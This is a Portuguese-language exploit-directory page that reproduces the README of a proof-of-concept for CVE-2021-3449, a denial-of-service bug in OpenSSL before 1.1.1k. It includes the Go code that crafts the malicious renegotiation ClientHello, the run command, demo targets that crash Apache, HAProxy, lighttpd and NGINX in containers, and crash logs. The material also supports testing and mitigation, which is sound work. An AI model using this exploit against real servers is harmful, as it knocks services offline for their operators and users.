Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2021-3449 — CVE-2021-3449 exploit de negação de serviço do OpenSSL 👨🏻💻 | Kitploit
Ferramentas/GitHubGitHub/riptl/cve-2021-3449
Análise de VulnerabilidadesExploraçãoSegurança WebTestes de Penetração
GitHubriptl/cve-2021-3449

cve-2021-3449

CVE-2021-3449 exploit de negação de serviço do OpenSSL 👨🏻💻

Ver Repositório
2243718há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-3449 exploit de DoS no OpenSSL <1.1.1k

Uso: go run . -host hostname:port

Este programa implementa um exploit de prova de conceito da CVE-2021-3449 que afeta servidores OpenSSL anteriores à versão 1.1.1k se a renegociação segura TLSv1.2 for aceita.

Ele conecta a um servidor TLSv1.2 e inicia imediatamente uma "renegociação segura" RFC 5746. O ataque envolve um ClientHello maliciosamente elaborado que faz o servidor travar ao causar uma desreferência de ponteiro NULL (negação de serviço).

Referências

  • Comunicado de segurança do OpenSSL
  • cve.mitre.org
  • Aviso de segurança do Ubuntu (USN-4891-1)
  • Rastreador de segurança do Debian
  • Entrada da CVE da Red Hat

Este problema foi relatado à OpenSSL em 17 de março de 2021 pela Nokia. A correção foi desenvolvida por Peter Kästle e Samuel Sapalski, da Nokia.

Mitigação

A única correção conhecida é atualizar o libssl1.1.

Embora alguns aplicativos usem configurações TLS reforçadas por padrão que desativam a renegociação TLS, eles ainda são afetados pelo bug se estiverem executando uma versão antiga do OpenSSL.

Exploit

main.go é um pequeno script que se conecta a um servidor TLS, força uma renegociação e se desconecta.

O código do exploit foi injetado em uma versão empacotada do pacote encoding/tls do Go 1.14.15. Você pode encontrá-lo em handshake_client.go:115. A lógica é autoexplicativa.

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

Demonstração

O diretório demo/ contém configurações para modificar vários aplicativos com uma versão vulnerável do OpenSSL.

Configuração de teste:

  • Baixe e compile localmente a versão vulnerável do OpenSSL 1.1.1j
  • Prepare um contêiner de destino Ubuntu 20.04 e envie as bibliotecas do OpenSSL
  • Instale o aplicativo no contêiner de destino
  • Inicie o servidor e execute o ataque

Requisitos:

  • OpenSSL (no host)
  • build-essential (Perl, GCC, Make)
  • Docker

Nota: Nenhum dos servidores web listados é vulnerável à CVE-2021-3449 com OpenSSL 1.1.1k ou posterior.

ServidorDistribuiçãoVersãoDemonstraçãoResultado
OpenSSL s_server-1.1.1jmake demo-opensslQueda
Apache2Ubuntu 18.042.4.29make demo-apache2Queda parcial
HAProxyUbuntu 18.041.8.8make demo-haproxyQueda
HAProxyUbuntu 20.042.0.13make demo-haproxySem efeito
lighttpdUbuntu 18.041.4.55make demo-lighttpdQueda
lighttpdUbuntu 20.041.4.55make demo-lighttpdQueda
lighttpdUbuntu 21.041.4.59make demo-lighttpdSem efeito com opção de configuração
NGINXUbuntu 18.041.14.0make demo-nginxQueda parcial
NGINXUbuntu 20.041.18.0make demo-nginxSem efeito
Node.js <=12Ubuntu 18.04Sem efeito
Node.js >12Ubuntu 18.04?make demo-nodejsQueda
Node.js >12Ubuntu 18.0415.14.0make demo-nodejsSem efeito

Para limpar todos os recursos da demonstração, execute make clean.

Servidor simples do OpenSSL

O openssl s_server é uma implementação mínima de servidor TLS.

  • make demo-openssl: Execução completa (porta 4433)
  • make -C demo build-openssl: Construir a imagem Docker de destino
  • make -C demo start-openssl: Iniciar o destino na porta 4433
  • make -C demo stop-openssl: Parar o destino

Resultado: Queda total do servidor.

Logs

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

O servidor web Apache2 httpd com a configuração padrão é vulnerável.

  • make demo-apache: Execução completa (porta 443)
  • make -C demo build-apache: Construir a imagem Docker de destino
  • make -C demo start-apache: Iniciar o destino na porta 443
  • make -C demo stop-apache: Parar o destino

Agradecimento a @binarytrails pela contribuição.

Resultado: Disrupção parcial, o processo principal continua ativo, mas o processo worker travou.

Logs

docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &
Baixar ferramenta